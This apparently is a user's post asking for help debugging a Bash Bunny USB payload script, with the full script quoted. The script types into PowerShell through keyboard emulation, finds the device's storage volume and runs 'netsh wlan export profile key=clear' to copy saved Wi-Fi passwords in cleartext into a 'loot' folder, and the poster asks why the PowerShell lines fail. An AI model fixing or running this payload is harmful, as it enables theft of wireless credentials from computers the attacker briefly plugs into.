I have followed your instructions and corrected the code but still it only runs powershell and then it does not write anything, the light remains red
DUCKY_LANG es-la
GET SWITCH_POSITION
ATTACKMODE HID STORAGE
# Create directory under loot to store passwords in
mkdir -p /root/udisk/loot/WiPassDump
LED R 200
QUACK DELAY 6000
# Open windows run console
QUACK GUI r
QUACK DELAY 1000
# enter payload and execute
QUACK STRING powershell
QUACK ENTER
QUACK DELAY 1000
QUACK STRING $volume \= \(Get-WmiObject -Class Win32_Volume | Where-Object { $_.Label -eq "BashBunny" }).Name
QUACK STRING Set-Location -Path "$volume\loot\WiPassDump"
QUACK STRING netsh wlan export profile key=clear
QUACK ENTER
#Let code run, then sync
QUACK DELAY 5000
sync
# Wait for misc. to happen on computer
QUACK DELAY 1000
# Done!
LED G
I think the problem is on the line
QUACK STRING $volume \= \(Get-WmiObject -Class Win32_Volume | Where-Object { $_.Label -eq "BashBunny" }).Name
QUACK STRING Set-Location -Path "$volume\loot\WiPassDump"
QUACK STRING netsh wlan export profile key=clear
QUACK ENTER
I also wanted to thank you for the help, greetings